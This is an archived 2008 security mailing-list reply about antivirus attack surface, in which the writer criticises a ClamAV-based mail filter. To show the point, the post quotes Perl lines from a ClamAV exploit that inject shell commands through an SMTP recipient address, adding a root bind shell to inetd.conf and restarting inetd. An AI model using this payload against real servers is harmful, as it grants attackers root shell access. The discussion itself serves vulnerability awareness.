Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | Re: Possible Mail server compromise ? |
|---|---|
| Date: | Tue, 19 Feb 2008 19:46:35 +0100 |
Dear Bob,
Jon Oberheide send me some impressive statistics with regards of vulnerabilities within AV Software, interesting enough most of them are remotely exploitable :OMost? I would expect most to offer patches quickly.
Yep most of them, if AV software scans data that comes from a remote source it is remotely exploitable. But it all depends on who is your enemy, if your enemy is a script kiddie then yes patching helps. If your up to enemies developing zero days I guess that won't help.
That sounds like "snake oil". The more code (i.e., adding their product) the greater the "remotely exploitable attack surface".
I'd like to disagree : Not really. Only code that deals with data that can be manipulated by an attacker is "exploitable attack surface", so if you only add code that is static and does not parse, nor deal with data an attacker can manipulate, your exploitable attack surface does in fact _not_ grow, that's not snake oil but a simple fact, I guess =) Anyways in this case I am not sure about it, have you read the "Security through No-Parsing" paradigma ? They apparently don't parse the data and put everything in a sealed environment. knowing these guys found these bugs (http://www.nruns.com/parsing-engines-advisories.php) I guess they know what they are talking about ?? But then again you never know.
We have developed an excellent spam and virus filter that uses ClamAV as the virus signature matching engine and have had great success with it. We also add our own proprietary virus filtering on top of ClamAV to block most viruses too new to have a signature.
ClamAV ? Lowest detection rate in the industry, no on-access scans and an Anti-virus that was vulnerable to such bugs [1] you consider a great success ? I don't know who you are protecting but I hope they were not vulnerable to this : [1] print $sock "ehlo you\r\n"; print $sock "mail from: <>\r\n"; print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n"; print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n"; print $sock "data\r\n.\r\nquit\r\n";
| Previous by Date: | Re: Possible Mail server compromise ?, Bob Toxen |
|---|---|
| Next by Date: | Re: Possible Mail server compromise ?, Jon Oberheide |
| Previous by Thread: | Re: Possible Mail server compromise ?, Bob Toxen |
| Next by Thread: | Re: Possible Mail server compromise ?, Valdis . Kletnieks |
| Indexes: | [Date] [Thread] [Top] [All Lists] |